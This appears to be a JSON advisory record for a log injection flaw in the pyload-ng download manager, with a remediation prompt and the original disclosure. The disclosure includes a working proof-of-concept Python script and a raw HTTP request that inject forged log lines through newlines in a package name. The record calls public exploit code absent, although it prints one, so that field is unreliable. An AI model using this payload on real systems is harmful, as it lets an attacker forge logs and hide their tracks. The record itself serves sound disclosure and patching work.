{"answers":{"affected":"2 open source packages ship an affected version, including pyload-ng.","exploited":"There is no known exploitation of GHSA-3wwm-hjv7-23r3 in the wild and no public exploit code.","fix":"No fix has been published for GHSA-3wwm-hjv7-23r3 yet. Limit exposure of the affected software until one is available.","what":"GHSA-3wwm-hjv7-23r3 is a vulnerability in pyload-ng, published on 30 Jul 2025. Any signed-in user can exploit it over the network, with no action from the victim."},"fix_prompt":"Check this codebase for GHSA-3wwm-hjv7-23r3 and fix it if it is affected.\n\nWhat it is: GHSA-3wwm-hjv7-23r3 is a vulnerability in pyload-ng, published on 30 Jul 2025. Any signed-in user can exploit it over the network, with no action from the victim.\nExploitation: There is no known exploitation of GHSA-3wwm-hjv7-23r3 in the wild and no public exploit code.\n\nAffected packages and fixed versions:\n- pyload-ng (PyPI): affected all versions up to 0.5.0b3.dev89; no fix listed\n- pyload-ng (PyPI): affected all versions up to 0.5.0b3.dev89; no fix listed\n\nTask:\n1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.\n2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.\n3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.\n4. Run the tests and summarise what changed and why.\n5. If nothing in the project is affected, say so and change nothing.\n\nReference: https://insights.sbomify.com/GHSA-3wwm-hjv7-23r3/ (Markdown: https://insights.sbomify.com/GHSA-3wwm-hjv7-23r3/index.md)","id":"GHSA-3wwm-hjv7-23r3","markdown":"https://insights.sbomify.com/GHSA-3wwm-hjv7-23r3/index.md","name":"GHSA-3wwm-hjv7-23r3","record":{"aliases":[],"analysis":{"component_type":"server_software","fix_type":"no_fix_stated","impacts":["data_modify"],"network_reachable":"yes","non_default_config":false,"product_category":"Pyload download manager","requires_auth":"low_privilege","summary":"An attacker with package addition permissions can inject arbitrary log entries via newline characters in the package name.","user_interaction":"not_required","vuln_class":"other"},"analysis_generated_by":"qwen3.8-flash-next","assigner":null,"cpe":[],"cvss":{"score":null,"severity":null,"source":null,"vector":null,"version":null},"cwes":[],"description":"### Summary\nA log injection vulnerability was identified in `pyload` in API `/json/add_package`. This vulnerability allows user with add packages permission to inject arbitrary messages into the logs gathered by `pyload`.\n### Details\n`pyload` will generate a log entry when creating new package using API `/json/add_package`. This entry will be in the form of `Added package 'NAME_OF_PACKAGE' containing 'NUMBER_OF_LINKS' links`. However, when supplied with the name of new package containing a newline, this newline is not properly escaped. Newlines are also the delimiter between log entries. This allows the attacker to inject new log entries into the log file.\n\n### PoC\nRun `pyload` in the default configuration by running the following command\n```\npyload\n```\nWe can now sign in as the pyload user who at least have add packages permissions. In my example, I will use the admin account to demonstrate this vulnerability. Now as an admin user, view the logs at `http://localhost:8000/logs`\n\u003cimg width=\"1918\" height=\"912\" alt=\"image\" src=\"https://github.com/user-attachments/assets/e6510af6-768b-4ddd-a4f2-3972618e1d37\" /\u003e\nAny attacker who at least have add packages permissions can now make the following request by crafting a python code to inject arbitrary logs.\n```\nimport requests\n\nsession = requests.session()\n\nburp0_url = \"http://localhost:8000/json/add_package\"\nburp0_cookies = {\"pyload_session_8000\": \"SESSION-ID-HERE\"}\nburp0_headers = {\"sec-ch-ua-platform\": \"\\\"Windows\\\"\", \"Accept-Language\": \"en-US,en;q=0.9\", \"sec-ch-ua\": \"\\\"Not)A;Brand\\\";v=\\\"8\\\", \\\"Chromium\\\";v=\\\"138\\\"\", \"sec-ch-ua-mobile\": \"?0\", \"X-Requested-With\": \"XMLHttpRequest\", \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36\", \"Accept\": \"*/*\", \"Content-Type\": \"multipart/form-data; boundary=----WebKitFormBoundaryqRJM6zIUcE7ttXDf\", \"Origin\": \"http://localhost:8000\", \"Sec-Fetch-Site\": \"same-origin\", \"Sec-Fetch-Mode\": \"cors\", \"Sec-Fetch-Dest\": \"empty\", \"Referer\": \"http://localhost:8000/collector\", \"Accept-Encoding\": \"gzip, deflate, br\", \"Connection\": \"keep-alive\"}\nburp0_data = \"------WebKitFormBoundaryqRJM6zIUcE7ttXDf\\r\\nContent-Disposition: form-data; name=\\\"add_name\\\"\\r\\n\\r\\nFake new package containing 1 links\\r\\n[2025-07-23 04:32:19]  PWNED               SeaWind  GET PWNED\\r\\n[2025-07-23 04:32:19]  INFO                pyload Added package Normal package\\r\\n------WebKitFormBoundaryqRJM6zIUcE7ttXDf\\r\\nContent-Disposition: form-data; name=\\\"add_links\\\"\\r\\n\\r\\n123\\r\\n------WebKitFormBoundaryqRJM6zIUcE7ttXDf\\r\\nContent-Disposition: form-data; name=\\\"add_password\\\"\\r\\n\\r\\n123\\r\\n------WebKitFormBoundaryqRJM6zIUcE7ttXDf\\r\\nContent-Disposition: form-data; name=\\\"add_file\\\"; filename=\\\"tt\\\"\\r\\nContent-Type: application/octet-stream\\r\\n\\r\\n\\r\\n------WebKitFormBoundaryqRJM6zIUcE7ttXDf\\r\\nContent-Disposition: form-data; name=\\\"add_dest\\\"\\r\\n\\r\\n0\\r\\n------WebKitFormBoundaryqRJM6zIUcE7ttXDf--\\r\\n\"\nsession.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)\n```\nThe Burpsuite HTTP Request for the above code\n```\nPOST /json/add_package HTTP/1.1\nHost: localhost:8000\nContent-Length: 799\nsec-ch-ua-platform: \"Windows\"\nAccept-Language: en-US,en;q=0.9\nsec-ch-ua: \"Not)A;Brand\";v=\"8\", \"Chromium\";v=\"138\"\nsec-ch-ua-mobile: ?0\nX-Requested-With: XMLHttpRequest\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36\nAccept: */*\nContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryqRJM6zIUcE7ttXDf\nOrigin: http://localhost:8000\nSec-Fetch-Site: same-origin\nSec-Fetch-Mode: cors\nSec-Fetch-Dest: empty\nReferer: http://localhost:8000/collector\nAccept-Encoding: gzip, deflate, br\nCookie: pyload_session_8000=SESSIONS-ID-HERE\nConnection: keep-alive\n\n------WebKitFormBoundaryqRJM6zIUcE7ttXDf\nContent-Disposition: form-data; name=\"add_name\"\n\nFake new package containing 1 links\n[2025-07-23 04:32:19]  HACKER               SeaWind  GET PWNED\n[2025-07-23 04:32:19]  INFO               pyload Added package Normal package\n------WebKitFormBoundaryqRJM6zIUcE7ttXDf\nContent-Disposition: form-data; name=\"add_links\"\n\n123\n------WebKitFormBoundaryqRJM6zIUcE7ttXDf\nContent-Disposition: form-data; name=\"add_password\"\n\n123\n------WebKitFormBoundaryqRJM6zIUcE7ttXDf\nContent-Disposition: form-data; name=\"add_file\"; filename=\"tt\"\nContent-Type: application/octet-stream\n\n------WebKitFormBoundaryqRJM6zIUcE7ttXDf\nContent-Disposition: form-data; name=\"add_dest\"\n\n0\n------WebKitFormBoundaryqRJM6zIUcE7ttXDf--\n\n```\nAfter executing the following python code and send the request successfully, if we now were to look at the logs again, we see that the entry has successfully been injected.\n\u003cimg width=\"1920\" height=\"911\" alt=\"image\" src=\"https://github.com/user-attachments/assets/0e77c7ac-e5f6-4227-843a-ef548071bf02\" /\u003e\n\n### Impact\nForged or otherwise, corrupted log files can be used to cover an attacker’s tracks or even to implicate another party in the commission of a malicious act.","ecosystems":["PyPI"],"exploits":{"exploitdb":null,"first_seen":null,"github_poc":null,"max_poc_stars":null,"metasploit":null,"nuclei":null,"refs":[],"tier":null},"has_fix":false,"headline":"Pyload log Injection via API /json/add_package in add_name parameter","id":"GHSA-3wwm-hjv7-23r3","indexable":true,"kev":null,"kind":"advisory","links":{"ecosystem":"PyPI","product":null,"products":[],"type":"other","year":"2025"},"n_packages":2,"n_references":null,"packages":[{"ecosystem":"PyPI","fixed":[],"introduced":["0"],"last_affected":["0.5.0b3.dev89"],"package":"pyload-ng","purl":null,"source":"GHSA-3wwm-hjv7-23r3"},{"ecosystem":"PyPI","fixed":[],"introduced":["0"],"last_affected":["0.5.0b3.dev89"],"package":"pyload-ng","purl":"pkg:pypi/pyload-ng","source":"GHSA-3wwm-hjv7-23r3"}],"products":null,"published":"2025-07-30","related":[],"sources":[{"class":"attribution","licence":"CC BY 4.0","name":"GitHub Advisory Database","prefix":"GHSA"}],"ssvc":{"automatable":null,"exploitation":null,"technical_impact":null},"state":null,"updated":null,"vendors":null},"summary":"An attacker with package addition permissions can inject arbitrary log entries via newline characters in the package name.","url":"https://insights.sbomify.com/GHSA-3wwm-hjv7-23r3/"}